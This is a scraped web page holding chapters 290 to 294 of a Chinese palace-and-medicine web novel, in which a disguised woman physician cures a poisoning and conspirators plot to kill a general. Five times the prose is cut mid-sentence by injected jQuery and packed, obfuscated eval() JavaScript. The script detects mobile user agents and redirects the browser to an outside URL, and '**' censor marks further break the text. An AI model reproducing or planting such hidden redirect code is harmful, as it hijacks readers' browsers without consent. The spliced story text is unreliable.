$(''.inform'').remove(); $(''#content'').append('' 鹤荣心中对蒋南笙也生出了迁怒。 一个个的,都是不孝子。 就在蒋家众人愁云惨淡,只能吃些稀米汤果腹时,谷栖山来了。 他身形高大,走进那低矮的屋棚,整个屋子立马平添几分逼仄。 蒋家众人见了他,俱是露出几分局促。 便是蒋家得势之时,他们在这位手握重兵的封疆大吏面前气势也要弱上三分,更何况,现在的蒋家已然是庶民。 谷栖山目光在屋中扫了一圈,又落在床榻上的蒋老太医身上。 “这里是何人在安排?” 有人忐忑地上前回话,“是小将军安排的。” 谷栖山的脸色顿时沉了下去,“蒋家为城中治疫之事劳心劳力,此次所谓中邪的真相究竟如何还未可知,他便如此苛待蒋家众人,岂不令功臣寒心?” 一番话声色俱厉,除了蒋家以外的众人都跪了下来。 蒋鹤荣等人则仿若看到了希望,总算有人替他们撑腰了。 谷栖山一声令下,蒋家众人立马换到了一个新的住处,蒋老太医也被小心地抬了出去,重新安置在一处宽敞通风的屋中。 蒋南笙便在屋中静候。 蒋鹤荣见了她,神色微顿,一股熟悉的感觉袭上心头。 他想看清对方长相,但对方戴着帷帽,头脸都遮得严严实实的,他无法窥见分毫。 “将军,这位是……” 谷栖山神色冷肃,“她是本将军请来的女医,为蒋老太医看诊的,尔等都到屋外候着吧。” 又来一位女医。 蒋鹤荣心中升起不屑,女子就应当在内宅中相夫教子,这般抛头露面,像什么样? 全是那赵书宁起的头,把风气都搞坏了。 蒋南笙稍稍掀起帷帽,看着床上躺着的老人,一股酸楚不由自主地漫上心头,同时,一些零碎的记忆也在脑中飞快闪现。 这就是她的祖父。 他满脸皱纹,面容凹陷,整个人都很瘦弱,似皮包骨般。 只一眼,蒋南笙就看得出来,他寿元不长了。 而今,就真的只是撑着最后一口气罢了。 第290章 小小医女,掀不起风浪 压下心头的酸涩,蒋南笙搭上脉搏,认认真真地给他诊脉。 诊出的结果,比自己预想中还要糟糕。 蒋家经历了抄家灭族之祸,祖父本就大受打击。 又一路奔波到了西平,殚精竭虑地为平复疫情辛劳,本以为事情有了转机,能给蒋家挣来一线生机,却在临门一脚遭到重创。 心理防线被击垮,身体也随之垮了。 蒋南笙只能给他施针,护住心脉,再开些固本培元的方子。 但要想他醒过来,唯有下猛药——让他看到蒋家翻身的可能。 这一天,很快了。 蒋南笙的出现,让赵书宁心头升起一丝警觉与不安。 她是何人? 谷栖山这番做法,究竟是何意? 他是不信任自己,要防备自己吗? 她的功劳已经唾手可得,断然不允许有人在这时横插一脚,分一杯羹。 赵书宁立马寻了谷兆麟,询问那医女的来历。 谷兆麟也刚得知了此事,脸色很不好看。 谷栖山当众说了那番话,完全没顾及自己这个义子的脸面,他心中狠狠憋了一团火。 “此事我并不知情,此前也未曾见过那么一号人。” 赵书宁露出若有所思的神色,“镇西将军对你,怕是已经有了防备,你要当心。” 这话直接踩在了谷兆麟的痛处上,叫他的脸色瞬间更加阴沉。 “戈叙白已经**,他却还是瞧不上我!” 赵书宁忽而问,“你确定戈叙白已经**吗?” 谷兆麟一愣,心中也升起疑虑,但却本能地相信自己的判断。 “他定然**,不然怎会那么久没有回来?他就算没死,我的人也会想法子把他弄死!” 赵书宁对此心中留了个问号,但当下她没有继续纠结,而是把问题拉回到自己最关心之事上。 “那医女,要想法子除掉。” 谷兆麟蹙眉,“一个小小医女,何必大动干戈?眼下局势已定,她掀不起风浪。” 谷兆麟虽恼怒谷栖山对自己的不信任,但心中对他同样带着畏惧。 那医女是谷栖山寻来的,谷兆麟轻易也不敢对对方下手,免得被谷栖山查出来,最后引火烧身。 赵书宁却并不这么认为,“镇西将军带来一个身份不明的医女,这便已经表明他在怀疑此事。我不知那医女的来历,也不知对方的医术如何,若此事当真被对方窥出端倪,你我的谋划将会彻底暴露。” 她与谷兆麟早已是一条船上的蚂蚱,赵书宁若是被盯上了,谷兆麟也势必逃脱不掉。 谷兆麟当即正了神色,开始认真思考此事。 “我先派人暗中摸一摸对方的底,若对方当真是个威胁,我再安排人除掉她。” 赵书宁觉得他不够果决,当下就该先动手,何须再查来查去? 但此事到底要依仗他,赵书宁便不再多说什么。 或许,是自己多心了。 但很快,赵书宁就后悔了。 蒋南笙干了一件大事,在百姓中引起了巨大的轰动。 蒋南笙给中邪的百姓诊治,竟是将他们全都治好了。 为了避免中邪的患者暴起伤人,他们被集中看管了起来。 这些时日,已然陆陆续续有人**,而许国祯等太医对此束手无策,大家都默认这些人注定救不活,只是等死罢了。 但今日,有人发病之时,蒋南笙来了。 她不知用了什么法子,竟是让发狂的病患安静了下来。 然后,她给那病患施了一套针,浑身都扎成了刺猬,最后,割破对方的指尖,放出浓黑的血。 没人瞧见,那黑血中有活物,被蒋南笙收入了瓷瓶中。 那被逼出来的活物,便是蛊虫。 她如法炮制,将其他病患体内的蛊虫都逼了出来。 昏迷了小半个时辰,患者相继苏醒,他们原本空洞迷茫的眼神都恢复了神采,也能认出自己的亲人来。 患者和家属顿时抱在一起,高声痛哭。 蒋南笙见此,长长呼出一口气。 前几日,戈叙白给她送去了几个中了蛊毒的士兵,蒋南笙对他们进行了施救,所幸全都成功了。 他们之前推演的方法是正确的。 正是有了这成功的经验,她今日才敢当众施救。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435923|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日这一步,是他们计划中十分关键的一步,容不得半分差错。 林铮给她递上来一方帕子,替她擦了擦额上细汗。 众人纷纷跪下,给蒋南笙磕头。 “女神医,你才是真正的女神医。” “我认得你,你先前就一直在照顾我们,此前我老娘病情严重,还是你给她扎了几针,把她救活的,你真是活菩萨转世。” “我也记得,你也给我看过,原来你真的是女神医,比那赵医女还厉害!” 此前疫情肆虐时,蒋南笙与林铮一直在帮忙,她一直戴着面纱,也不曾透露身份,但大家还是认出了她。 而今,她连中邪的人都能救活,越发叫众人佩服不已。 那些没有见识过她的医术的人,也被大家带动,心中升起敬仰来。 蒋南笙阻拦了大家下跪之举,“我不过是举手之劳罢了,当不得大家如此。” “你救了他们的性命,如何能算是举手之劳?” “对啊,他们中邪了,原本是必死无疑的,竟被你救活了,你当得起我们的跪拜。” 蒋南笙高声道:“诸位,你们或许误解了,他们并非中邪,而是被有心人下了毒。” 众人一听,顿时面露惊慌,“什么?下毒?谁会给他们下毒?” “定是先前我们喝的汤药出了问题!是蒋家人开错了药的缘故。” “那我们呢?我们是不是也都**了?” 众人一时惶恐起来。 蒋南笙:“问题并非出在那些汤药上,大家都误会了。” 有人不信。 蒋南笙便耐心地解释,“此毒一旦入腹,不出三日便会发作,蒋家的汤药你们已然停药超过三日,若当真是蒋家的汤药有问题,大家早就发作了,不会还好端端的。” “相反,那些汤药于你们而言,都是对症的良方,诸位正是喝了那些汤药,原本的病情才慢慢好转。” 蒋南笙方才当众治好了那些“中邪”之人,大家对她的医术正是最信任之时,此时她的这番话也起到了意想不到的效果。 众人不禁纷纷怀疑,难道当真是他们误会了蒋家? 第291章 睁一只眼闭一只眼 有人依旧不相信,蒋南笙并不慌乱,而是一副不疾不徐的语气。 “据我所知,百姓中,中邪者也不过百余人。城中百姓上万,大家都喝了蒋家的药汤,却只有百余人中邪,大家细想,此事是否另有蹊跷?” “大家再想想,你们喝了蒋家的汤药之后,身体是否一点点慢慢好转了?在这所谓中邪之事发生之前,你们的身体是否已然好了大半了?之后,你们的身体也没有出现任何问题。若蒋家的方子当真有问题,你们早就也中邪了,而不会这么好端端的。” 众人顺着她的思路往下想,越想便越觉得好像的确如此。 他们喝了蒋家的汤药之后,身体果然慢慢变好了,有些人甚至都能下地干活了。 有人却再次提出异议,“我们之所以没事,是后来喝了赵医女开的药,解了身上的毒。” “对,我们是喝了赵医女开的解药。” 蒋南笙淡淡一笑,“赵医女医术的确了得,令人佩服。她的药方我不曾见过,无法评判。但蒋老太医开的药方我却是亲眼见过,我敢以自己的项上人头做担保,那药方对大家乃是对症之药,那些百姓的中邪,与此方没有半分干系。我人微言轻,你们若是信不过,我也无话可说。” 蒋南笙没有贬低赵书宁,只是旗帜鲜明地陈述自己的观点,为蒋家证明。 大家都不是无脑之人,一开始或许会被有心人引导,对此事生出误解,但经她提醒,大家冷静下来细想一番,就能品出其中的不合理之处。 “我赞同这话,自从喝了蒋家的汤药之后,我身上原本的不适都消失了。” “我也是,大家都喝了那汤药,大多数人都好了,就只有极少数人中邪了,那问题多半不可能出在汤药上。” “对啊,先前是谁在传谣言?大家稀里糊涂就跟着信了。” 蒋南笙在人前演了这一出戏,加上有心人从中引导,原本的风向终于慢慢发生了扭转。 赵书宁得知消息的时候,事情已经完全失控。 她再没了挽回的机会。 她好不容易从蒋家那里抢回来的功劳,竟然被搅黄了? 这是她的功劳,任何人都休想抢走! 赵书宁的心头闪过一抹戾气,看向蒋南笙时,眸底更是升起一股杀意。 上次她就该动手,万不该让谷兆麟犹豫。 更让赵书宁忌惮的,是她的医术。 那些蛊虫,是赵书宁偶尔所得,她只懂皮**,根本不知道该如何解蛊。 而这人却会解蛊。 她到底是什么身份? 她是否识破了那是蛊虫? 不论如何,此人都不能再留了,不然,后患无穷。 楚翊安依旧在城中养伤,外头的动静他也听到了,派人去打探,这才知道发生了这番变故,他的脸色立马变得十分难看。 赵书宁回来时,他忍不住急声道:“我听说外头来了个医术了得的女医,她不仅把中邪之症治好了,还替蒋家挽回了声誉,这究竟是怎么一回事?是真是假?” 赵书宁本就心烦,听到他这急吼吼的问话,心头更是一阵厌烦。 “你都打听清楚了,又何必问我?” 楚翊安听了这话,当即就明白了,这多半是真的。 他有些不甘心,“那你怎么办?你辛辛苦苦做这场局,岂不白费了?” 赵书宁不曾把自己的计划告知楚翊安,但联系事情前后,楚翊安自己也推断了出来。 对于赵书宁的行径,楚翊安心里一边瞧不起,一边又计算着她能为侯府带来的利益。 所以,他是睁一只眼闭一只眼的态度。 她本性如此,自己就算阻拦,她也会在暗地里使那些阴私手段达成目的。 只要她把事情捂严实了,不要让侯府受到牵连,他就不再多管。 楚翊安已然把赵书宁的功劳换算成了侯府的利益,而今事情又发生了变故,他如何接受得了? 那简直就是在他的手里抢东西。 他这话表面上是在意赵书宁的得失,但本质上在意的只是自己和侯府的利益。 赵书宁顾不上去深究他的想法,她的眸色幽深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442251|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷冷道:“那本就是我的功劳,谁都别想抢走!” 楚翊安忙问,“你还有什么后手?” 赵书宁长长吐出一口气,“此事你不必多管,我自有谋划。” 这话让楚翊安心头笼上一层阴霾。 “上次你便对我藏着掖着,这次也不肯坦诚相待,书宁,你要记住自己的身份,你是宣平侯府的少夫人,是我的妻子,你不能事事都瞒着我。” 赵书宁眼底闪过一抹不耐烦,“你现在这幅样子,能帮得上忙吗?你还是先把身体养好了再说吧。” 楚翊安被她堵了一把,脸色顿时变得不大好看。 “我帮不上忙,谁能帮得上?谷兆麟吗?也是,他可是镇西军的少将军,的确比我有能耐。你现在怕是后悔当初没有选他吧。” 赵书宁简直烦透了他的阴阳怪气,“你想听到什么样的答案?你一再问我是否后悔,无非便是你自己后悔了,心中不甘罢了。” 楚翊安的脸色微微凝滞,一股恼怒袭上心头。 “你……” “我现在没有心思与你争吵,你帮不上忙,就不要给我添乱,你方才也说了,我们是夫妻,一荣俱荣,一损俱损,你给我添乱,我到头来竹篮打水一场空,你也落不到半点好处。” 说完,赵书宁便不再多留,径直转身离开。 跟这男人共处一室,她都觉得令人窒息,她不想为难自己。 楚翊安气得胸口上下起伏,一不小心牵扯到伤处,顿时疼得面目更加扭曲。 他只恨自己身上有伤,没法起身,即便心中再气恼,也对这女人无可奈何。 心中到底放心不下,楚翊安唤来了心腹,让他盯着赵书宁,一旦她有任何出格之处,定要第一时间回禀。 赵书宁第一时间去寻了谷兆麟。 一路上,她的火气慢慢平复,她对谷兆麟虽有迁怒,但到了他面前时,她已然恢复了冷静。 她能在楚翊安面前冷言冷语,但在谷兆麟面前却断然不会如此。 因为,她的目的,还需要依仗谷兆麟达成。 第292章 赵书宁巧舌如簧 谷兆麟显然也听说了那件事,此时的脸色有些难看。 见到赵书宁,语气也不大好。 “你都听说了吧,没想到那女医竟然真的有几分真本事。” 早知如此,当日他就应当听从赵书宁的提议,直接把对方除掉。 他瞻前顾后,非但没有查清对方的底细,反叫对方成了气候。 而今大好的局面被破坏,他便是懊悔也已经来不及。 赵书宁没有出言责怪谷兆麟,事已至此,多说无益,只会徒增彼此的嫌隙罢了。 眼下并非掰扯这些的时候。 “少将军,此事不可再拖延,那医女必须除掉。” 谷兆麟见她依旧神色镇定,原本慌乱烦躁的心绪终于稍稍被抚平。 “现在除掉她还来得及吗?原本的局面是否还能再挽回?” 赵书宁眼底闪过精光,“事在人为,只要我们好生谋划,有何不可?” 谷兆麟心头又镇定几分,只是依旧带着疑虑。 “眼下这番局势,那医女若是不明不白**,义父必然生疑,他若是在皇上面前力保蒋家,为蒋家请功,我们便是再如何谋划也都白费心思。” 谷兆麟越发懊恼,他们已经错过了一开始除掉那医女的最佳时机,眼下简直是进退两难,骑虎难下。 赵书宁目光幽幽地看着他,“我有一良策,只是不知少将军敢不敢了。” 这话带着激将之意,谷兆麟立马被激起好胜心,“我有何不敢?你莫要小瞧了我。” 赵书宁压低了声音,缓声道:“自古以来,史书都是由胜利者书写的。若你有了绝对的话语权,一切是非曲直,就全都由你定夺,不管那些小人如何蹦跶,都无济于事。” 谷兆麟闻言,先是一愣,待反应过来她的言外之意,心头猛地一跳,眸底亦不禁闪过一抹暗芒。 “你,你这话是何意?” 赵书宁唇角勾起一抹浅浅的弧度,“少将军是聪明人,怎会听不懂?” 谷兆麟眼神闪烁,一时没说话。 赵书宁索性不与他兜圈子,直言不讳。 “镇西将军上次**,身体便一直未愈,若是再中一次毒,便是铁打的身子,也定然扛不住。他倒下了,镇西军自然就是你说了算。” 谷栖山既然找来了那医女,他迟早会查出蛊术的真相,那医女必须死,谷栖山更必须死。 他不死,那死的人就是自己了。 “凡事一回生,二回熟,不是吗?” 这话让谷兆麟似被踩了尾巴似的,瞬间变了脸色。 “你胡说八道什么?” 赵书宁立马低头认错,“是我说错了话,少将军勿怪。” 谷兆麟目光晦暗地看着她,“你是不是知道些什么?” 赵书宁一脸真诚,“我什么都不知道。” 她没有说谎,她的确什么都不知道。 方才那话,不过是故意诈他的。 没想到他那么不禁诈,一诈一个准。 看来,上次谷栖山**,果然与谷兆麟脱不开干系。 彼时疫病四起,羌笛又虎视眈眈,内忧外患,谷兆麟竟然对谷栖山下手,赵书宁也只能骂一句蠢货。 而今看来,谷栖山对谷兆麟也必然是起了疑心的,若不然,也不会对他生出疏离与戒备。 如此,他们要再次下手,就更不容易了。 除非不出手,一出手,就必然要一击即中,不然就要前功尽弃。 谷兆麟有些惊疑不定地看着赵书宁。 当初,羌笛频频骚扰百姓,谷兆麟急于立功,向谷栖山提出带兵前去围剿,但谷栖山却没让他领兵,而是将此事委派给了戈叙白。 后来的好几次,谷兆麟也都没有得到重用,他心中便生了怨恨。 一名心腹向他献计,让他给谷栖山下点药,不致命,只让他倒下,届时,谷兆麟就能接过帅印,暂领三军。 谷兆麟处处被戈叙白压一头,非常想证明自己,那心腹巧舌如簧,谷兆麟被对方说动,便动了手。 但他没想到,那人所说的不致命的药毒性竟如此猛烈,若非戈叙白及时发现,为其护住心脉,谷栖山当场便要毙命。 谷栖山一倒下,羌笛便发起进攻,来势凶猛,谷兆麟后知后觉地意识到了什么,他去寻那心腹对质,发现对方已然出逃,谷兆麟这才慌了神。 幸而,对方被羌笛的乱军射**,谷兆麟这才松了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442252|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 他把此事的所有痕迹都尽数抹去,悬着的心也一点点放了下去。 而后,瑾王为谷栖山求来了解药,他被从鬼门关中拉了回来,谷兆麟既松了口气,又微微遗憾,自己做了一场局,最后什么也没改变。 他以为这件事就这么过去了,没想到赵书宁竟突然来了那么一句,瞬间让他一个激灵。 赵书宁一定知道了些什么,可她是怎么知道的? 赵书宁迎上他的目光,一脸真诚,“少将军,我们是一条绳上的蚂蚱,我不会背叛你。且不说我真的什么都不知道,就算我知道些什么,也不会往外说。那对我没有任何好处。” 谷兆麟深深看她,半晌,才慢慢将心头的紧绷放下。 她没有任何证据,她说了,谁会信呢? “你素来聪慧,知道什么该说,什么不该说。这一点,我很放心。” 赵书宁把话头拉了回来,“少将军,方才我的提议,你以为如何?” 谷兆麟摇头,“不行,义父不能死,也不能出事。” “为何?” 眼下西平局势已然平稳,不需要镇西将军震慑羌笛。 不要跟她说,他这是对谷栖山突然生出了父子情分? 他若当真在意这个,当初就不会下手。 谷兆麟:“朝廷派来的那位任将军还在。义父说过,皇上对他已然生出忌惮,想要收回兵权,若是义父**,那位任将军就会上禀朝廷,把兵权收回去。” 赵书宁沉吟,“我觉得你想岔了,皇上忌惮的是镇西将军,他**,反而能让皇上放心,你才更有机会出头。” 谷兆麟不解其意。 赵书宁道:“镇西将军在西平威望甚重,这里的百姓恐怕只知镇西将军,而不知皇上。上位者,如何能容忍?他**,便解决了皇上的心头隐患。” “但边境不能乱,皇上需要委派一位得人心、有军功、有威望、能担得起事,又不会脱离朝廷掌控的人执掌镇西军。少将军你,便是最合适的人选。” “你是镇西将军的义子,你有民心,你有军功,但却年轻,威望不足,你还需要仰仗朝廷,镇西军交给你,皇上定然放心。” 第293章 蒋老太医苏醒 赵书宁这番话说得头头是道,神情亦是十分笃定。 谷兆麟一开始还有些怀疑,越听到后面,他的神色也慢慢动摇了。 她说得,好似的确在理。 义父**,戈叙白也不知所踪,他就是接管镇西军最适合的人选。 一旦接受了这个预设,谷兆麟就越想越激动,眸子都不禁亮了三分,心潮也瞬间澎湃起来。 “你说得对,我竟是没有想到这一层。书宁,你果然是我的军师。” 他语气中带上了一丝隐忍的兴奋。 赵书宁面上不显,心头却闪过一抹嘲讽。 真不知该说他愚蠢,还是自视甚高,自己三言两语,他就深信不疑了。 不过这样也好,这样的蠢人才好掌控。 她可不管谷兆麟后面的前程如何,能否执掌镇西军,她只想要解决当下的问题,将功劳坐实。 此事促成,她得了实实在在的好处,她的目的就达成了。 若谷兆麟当真那么幸运,能执掌三军,赵书宁也会不吝在对方面前伏低做小,拍马逢迎。 若他失利了,他在赵书宁这里就没了利用价值。 赵书宁不担心他把不该说的往外说,因为那些事,他自己就是主谋。 真的说了出来,他就是在找死。 “少将军能想通,那就再好不过。” 谷兆麟看着赵书宁,带上了一股虔诚求教之意。 “义父上次**之后,一直很谨慎,要给他下毒并不容易,我必须要把自己撇清,不能被抓到把柄,书宁,你可有良策?” 赵书宁沉吟,“要想洗清嫌疑,最好的法子便是借刀**。” “如何借刀**?” 赵书宁压低声音,如此这般,低语一番。 “依你所见,此法是否能行得通?” 谷兆麟听罢,眸光瞬间又亮了几分。 他兴奋击掌,“甚好!此法不仅能除掉义父,若戈叙白还活着,也能断了他的后路。书宁,只有你能想出这般良策。” 赵书宁淡淡一笑,“我只是动动嘴皮子,真正安排得靠你。我说起来很容易,但真正行动起来,每一步都很关键,稍有差池,就会失败。” 谷兆麟也稍稍冷静下来。 “你提醒得对,我会好生安排,定会将此事办妥。” 赵书宁离开时,夜色已深。 心腹先一步将她的行踪告知楚翊安,他的脸色顿时变得十分难看。 她果然去寻了谷兆麟。 而且,一待便是大半日,竟是半点不曾避讳。 她此番行径,将自己置于何处? 赵书宁回来,楚翊安本想兴师问罪,但对方压根就没有往他这屋来,径直到隔壁睡觉了,楚翊安再次气得脸色阴沉。 短短几日,百姓们便知道,城中来了一位很厉害的女医,名唤阿蘅,能治中邪之术。 这位阿蘅大夫还去了军中,将军中那些发狂之症的士兵一并治好了。 阿蘅大夫的名声一下盖过了赵书宁。 原本落在蒋家身上的污名,也得以洗清,大多数人都认可了蒋老太医的那剂汤药。 蒋家众人万万没想到,此事竟然会有峰回路转的一天,而且这一天还来得如此快。 蒋南笙依旧每日给蒋老太医施针,他一直昏昏沉沉,不见醒转。 这一日,蒋南笙一边给他按摩着有些萎缩的肌肉,一边语声轻柔地告诉他外头发生的一切。 蒋家没有被打倒,蒋家所做的一切,也没有被磨灭。 公道自在人心。 蒋南笙语声柔和而坚定,如涓涓细流,在人心上流淌,也一点点传进了蒋老太医的耳中。 老人的嘴唇艰难地翕动,轻轻吐出两个字,“南笙……” 蒋南笙的手微微顿住。 她轻轻反握住老人的手,无声地回应他。 老人的眼皮微微动了动,似挣扎许久,终于掀开了一条缝。 浑浊的视线缓慢地定格,落在蒋南笙的脸上。 努力地辨认了许久,两行眼泪从他的眼角滚落。 “南笙,是你吗?” 蒋南笙还没来得及回答,蒋家其他人就听到了动静,急忙进屋来。 “爹,您终于醒了爹,太好了!” “爹,您知道了吗?咱们蒋家的罪名洗清了,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447831|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方子没问题,那些中邪的人,与咱们的方子无关。” “是这位阿蘅姑娘帮的忙,她医术高明,十分了得,把那些中邪之人都治好了,也是她在百姓面前替我们说话,百姓们才重新相信我们。” 蒋南笙静静站着,没有说话。 蒋老太医目光一直落在她的身上,她的脸被帷帽遮挡,难以窥视。 蒋老太医没有听进任何人的话,只是望着她,又唤了一声,“南笙。” 蒋鹤荣和蒋家其他人听到了,俱是一愣。 大家都看向蒋南笙,目光中闪过一抹惊疑。 乍一看,眼前的女子,身形体态的确与蒋南笙十分相似。 但怎么可能呢?南笙是男子,眼前这位阿蘅大夫是个姑娘。 “爹,您认错了,她不是南笙,她是阿蘅大夫,是个姑娘。” 他们爹这是真的病糊涂了。 蒋老太医一直执着地看着她,嘴唇翕动,“是南笙。” 蒋南笙上前,语气冷淡,“病人需要静养,你们都先出去吧。” 大家对她都生出敬畏,听了这话,都乖乖听从了。 蒋南笙重新坐回了蒋老太医的床边,他立马抓住了她的手。 “南笙,好孩子,你,你回来了……” 蒋南笙脑中闪过某些记忆,鼻腔也不受控制地泛起酸涩。 她的记忆依旧空白,但身体的本能却难以自控。 原本并不打算暴露身份,但对上老人那殷殷期盼的目光,蒋南笙的心中生了动摇。 她伸手,取下了自己的帷帽,露出本貌。 她唤了声,“祖父。” 蒋老太医见了她,眸光更亮了几分,“好,好,南笙,你还好好地活着,很好。” 他不停重复着,眼底再次泛起了泪花。 蒋南笙没有告诉他自己失忆了,只是满脸歉意地道,“是我来迟了,让祖父受苦了。” “不迟,不迟。你,把帷帽戴上,莫,莫要让旁人瞧见你的脸。蒋家,生死难料,你,莫要把自己牵扯进来。” 他依旧虚弱,但这番话却说得很用力,抓着她的手也用了几分力道。 第294章 传男不传女 “祖父,蒋家会没事的。您要好起来。” 蒋老太医缓缓摇头,“我已油尽灯枯,撑不下去了。能看到你好好的,祖父就放心了。你现在这副打扮,很好看,以后,便恢复女儿身吧。这十几年,委屈你了。” 蒋南笙眼底闪过一抹诧异。 “您,您早就知晓我是女儿身?” 从萧晏辞的口中,蒋南笙对蒋家内部的纠葛也已经了解得一清二楚。 她是庶出,从出生起,姨娘就对外谎称她是男孩儿,只因蒋家的医术,传男不传女。 正是这个决定,改变了蒋南笙的未来。 她自启蒙起,就表现出了超凡的医学天赋,也因此得了祖父的看重。 这么多年以来,除了姨娘,便只有萧晏辞和萧宝珠知道自己的女儿身,便是祖父也不知情——萧晏辞是这么告诉她的。 但现在,祖父这话的意思,俨然是早就知道了此事。 蒋南笙的惊讶完全没有作假。 蒋老太医叹息一声,“傻孩子,你是我一手教养大的,我如何会看不出来?” 窥破这个秘密时,他是震怒的,震怒于自己受到的欺骗,也震怒于她们让自己违逆了蒋家医术传男不传女的家训。 他本想狠狠惩处蒋南笙,但看到她埋头钻研医术的废寝忘食,看到她对待病人时的专注认真,看到她青出于蓝胜于蓝的卓越天赋,蒋老太医原本的怒意都瞬间化作了难以言说的遗憾与无力。 回头再看看蒋家其他不成气候的儿孙们,他终究选择睁一只眼闭一只眼,没有揭穿此事。 他一开始对蒋南笙还是抱着考察的态度,后来就被她的天赋和努力彻底折服。 素来古板的蒋老太医,也头次对蒋家的家训生出了怀疑。 为何传男不传女? 不论男女,只要有天赋,都应当平等地得到机会,如此,方能将蒋家的医术传承下去。 蒋南笙如此有天赋,怎能被埋没? 蒋老太医彻底接纳了她的女儿身,但一直没有找到合适的机会与她摊开此事。 等着等着,蒋家反倒率先出事了。 蒋老太医拼着老脸向皇上提出将功折罪的请求,为蒋家的女眷求一条活路,半成原因,便是为了蒋南笙。 她是蒋家的传承,是蒋家的未来与希望,她不能被牵连。 蒋老太医反握住蒋南笙的手,再次叮嘱,“南笙,保护好自己,不要轻易暴露身份。若蒋家没法翻身,你也不会受到牵连。” 蒋南笙的眼泪倏然滑落,滴在他枯瘦的手背上。 “祖父,蒋家不会出事的!属于蒋家的功劳,任何人都抢不走。” 蒋老太医眼底浮起欣慰,“你是个好孩子,祖父知道,你能做到。” “祖父,你要好好的,要亲眼看到蒋家安然无恙,没了您,蒋家就真的散了。” “好好好,祖父会好好的。” 说话间,蒋老太医的脸上再次浮出疲态。 他大病未愈,能说那么多话,已是极限。 蒋南笙守着他,直到他睡熟了,重新戴上帷帽,起身往外走。 林铮似一尊门神般守在门外,蒋鹤荣等人想靠近些都不敢,他们只听到屋中传来低低的说话声,但究竟说了什么,却什么都没听清。 蒋鹤荣忙问,“阿蘅姑娘,我爹怎么样?” 蒋南笙扫了一眼这个男人,他是自己血缘上的父亲,但自己见了他却并无半分涟漪。 她与这个父亲并不熟。 蒋南笙的语气平淡,“蒋老太医心病已除,身子好了大半,只需好生料理便是。” 众**喜,俱是松了口气。 蒋南笙不再久留,与林铮一道离开。 林铮一直寸步不离地守着她,护卫她的安全。 尤其是她现在大出风头,势必会成为某些人的眼中钉,他不允许蒋南笙出任何意外。 谷栖山也给蒋南笙安排了护卫,但林铮谁都信不过,他只信自己。 这天夜里,林铮的屋前飞来了一只猛禽。 是一只通体乌黑的海东青,身形巨大,看上去十分凶猛。 林铮一听到动静,立马打开了窗户。 那凶猛的海东青到了他面前,瞬间变得温顺,还拿脑袋蹭他的掌心。 林铮摸了摸它的脑袋,便从它的脚上取下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447832|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个什么东西。 打开,看罢,他的脸色顿时笼上一层阴霾。 他很快将纸条销毁,海东青在他掌心上蹭了蹭,便飞走了。 翌日,他将此事告知了蒋南笙,蒋南笙又派人传给了萧晏辞。 萧晏辞等人听罢,不禁冷笑,“这谷兆麟能力不大,胆子倒是不小!连镇西将军都敢谋害。” 戈叙白更是面色阴寒,“上次师父**之事,便与他脱不开干系,他竟还不死心!师父待他不薄。” 叶寒衣鄙夷,“有些人天生就是养不熟的白眼狼。” 陆知苒想到了另外一个问题,“林铮如何会得到消息?他的消息竟如此灵通?” 这话让众人露出若有所思。 